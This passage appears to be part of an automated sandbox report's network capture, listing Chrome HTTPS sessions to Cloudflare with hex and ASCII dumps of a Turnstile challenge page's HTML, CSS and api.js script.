(;~8"h.r^/}\|qmOwIm>y>?_;_=bR4X42S!Pm>*`@O\,o@.RS53M@
2025-01-11 08:26:05 UTC	1369	IN	Data Raw: 19 2d 61 80 39 de dd c0 d5 c0 c5 c0 d2 56 8c 8b 30 e9 58 e0 9b c0 16 60 28 96 d3 0f 00 a9 54 48 1d 69 d5 03 e6 04 6f 3a bf 04 b8 17 f8 27 70 33 ad 5b fc 4c 78 10 71 fa 31 90 8d e5 f4 96 58 4e 2f 6a c5 a0 4d c1 9b ce b7 79 d3 f9 2b 81 7f 00 d7 21 72 bd 50 e8 06 1e 00 de 88 e5 f4 a9 46 91 36 85 a6 18 e0 4d e7 57 00 2f 22 bb 51 4b c6 17 02 ab 80 3f 02 f7 c5 72 ba a9 0d b0 66 80 37 9d 3f 07 d1 d0 a7 37 f3 c0 79 40 1b f0 2d 60 20 96 d3 c7 da 12 bb 66 80 37 9d f7 78 d3 f9 eb 80 df f2 d1 ee 7a 2d 9c 08 bc 16 cb e9 75 36 44 ae 18 e0 4d e7 3d c0 36 44 d9 f9 ec e7 b6 60 58 02 fc 3e 96 d3 e7 b8 d5 0b 0d 19 60 16 7f 1b d0 3f b7 b9 2d 18 da 81 a7 81 73 dc dc 5c 97 01 c6 be 5f 8f 98 b7 56 63 ce 26 b8 0e 16 01 8f c7 72 7a 4d a3 1b 1b 39 42 e7 01 b7 b7 64 4a 70 18 d8 03 Data Ascii: -a9V0X`(THio:'p3[Lxq1XN/jMy+!rPF6MW/"QK?rf7?7y@-` f7xz-u6DM=6D`X>`?-s\_Vc&rzM9BdJp
2025-01-11 08:26:05 UTC	1186	IN	Data Raw: ec a6 12 3a 3f c6 47 2b 06 43 54 42 67 9b 68 10 24 7d 7f d4 6c bc 62 49 bc d9 5c 73 c0 33 96 b4 ad c4 7d c5 4c a2 6c 5a 65 dc e6 11 41 ac c6 34 06 bc 4e c5 94 b8 c1 05 de 74 be db c8 de 36 ea 87 ad f3 85 21 20 65 be af 03 56 58 d0 be 8d d1 7b 1e 90 86 45 84 09 6e d1 01 6c f5 a6 f3 14 33 89 bd c0 76 0b da 56 60 0a b8 a6 98 49 38 8c 7f 09 38 1f 78 d7 25 fd b3 4e 99 ac da 73 7a dc 72 12 97 00 9f 31 df b7 21 95 97 85 c2 76 60 67 b2 a0 49 16 b4 2f 15 52 e5 54 48 3d 03 7c 1a b8 09 63 e3 6b 60 0a c9 31 00 d3 19 b0 a3 01 e1 4c f8 80 9f 7a d3 f9 76 b3 13 5f 01 f6 37 a0 69 05 76 00 5b 8d f8 ad 02 b2 c9 82 de 62 18 31 9e 0a a9 3b 81 e3 90 8c d1 6c 0e de 2e 24 85 0e 7c b8 34 f6 20 d2 a1 69 83 47 81 cd a6 36 70 2c 52 1b 08 59 8e e1 16 cf 00 17 15 33 89 f1 64 41 2f 46 Data Ascii: :?G+CTBgh$}lbI\s3}LlZeA4Nt6! eVX{Enl3vV`I88x%Nszr1!v`gI/RTH=\|ck`1Lzv_7iv[b1;l.$\|4 iG6p,RY3dA/F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49737	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:06 UTC	761	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/m2hc8/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:06 UTC	1362	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26636 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-11 08:26:06 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 30 33 38 35 31 65 30 64 36 32 30 66 35 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 9003851e0d620f5f-EWRalt-svc: h3=":443"; ma=86400
2025-01-11 08:26:06 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49740	104.18.95.41	443	8132	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:26:06 UTC	413	OUT	GET /turnstile/v0/b/e0c90b6a3ed1/api.js?onload=JgQlg5&render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 08:26:06 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:26:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9003851e1db18c12-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 08:26:06 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-11 08:26:06 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 